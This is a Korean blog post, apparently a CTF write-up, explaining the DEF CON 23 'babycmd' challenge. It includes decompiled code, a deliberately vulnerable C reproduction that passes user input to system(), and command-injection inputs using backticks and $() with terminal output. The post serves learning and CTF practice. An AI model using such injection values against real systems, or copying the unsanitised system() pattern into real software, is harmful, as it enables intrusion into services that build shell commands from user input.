-
Defcon 23 - babycmdCTF 2016. 5. 19. 00:30
babycmd 는 64비트 ELF 바이너리가 주어진다. 일단 트릭문제임을 알아채고 첫번째로 분석을 시작했다.
64비트라고 무조건 그런것은 아니지만 바이너리 이름부터 커맨드와 관련된것이 아닐까?
일단 다음과같은 코드로 개행문자를 만나기전까지 입력을받는다.
do
{
v7 = _IO_getc(stdin);
if ( v7 == -1 )
break;
if ( v7 == '\n' )
break;
++v6;
v12[v5] = v7;
v5 = v6;
}
v12에 넣고, v12를 strncpy 로 dest 란 변수에 저장하게되는데 아래코드를 보면 다양한 커맨드로 비교를 한다
strcasecmp는 처음보지만, strcmp와 동일한 기능을 하는것같다. 만약 커맨드가 들어간다면 각각의 함수들이 호출되는데,
sprintf_chk 함수로 command에 인자값을 받고 넣어준다.
그리고 실행시키게되는데, 쪼끔 이상한것이 보인다.
__sprintf_chk(&command, 1LL, 384LL, "host \"%s\"", &cp);
더블쿼터로 감싸져 있다. 직접 코딩을 해주자
#include <string.h> #include <stdio.h> int main(int argc,char *argv[]) { char buf[256]; char command[256]; read(0,buf,sizeof(buf)); sprintf(command,"ping \"%s\"",buf); system(command); return 0; }
똑같이 코딩을 해주었다.
실행해보면 그냥 ping 문자열이 들어가게되는데, 더블쿼터로 쌓여져있다 백쿼터를 사용해보자
s0ngsari@ubuntu:~/Desktop$ ./pwn
`ls`
ping: unknown host babycmd_3ad28b10e8ab283d7df81795075f600b
checksec.sh
pwn
pwn.c
s0ngsari@ubuntu:~/Desktop$
백쿼터를 사용해서 저 인자를 우리가 조작해줄수있다.
back quote에 대해서 알아보면, 명령어를 대체할수있다는 문장이나온다.
: host a`ls`a
Host ababycmd_3ad28b10e8ab283d7df81795075f600b
checksec.sh
pwn
pwn.c not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
host 명령과 같이 실행된다. 이렇게 우리가 커맨드인젝션을 할 수 있게되고, 백쿼터가아닌 $()해당 명령도 `와 동일하게 명령을 대체할수있다.
: host a$(ls)a
Host ababycmd_3ad28b10e8ab283d7df81795075f600b
checksec.sh
pwn
pwn.c not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
'CTF' 카테고리의 다른 글
Defcon 24 - easy_prasky (4) 2016.05.23 Defcon r0pbaby푸는데 (0) 2016.05.19 TUCTF pwn75 (0) 2016.05.18 TUCTF woO2 (0) 2016.05.18 dimictf - pwn250 (0) 2016.05.18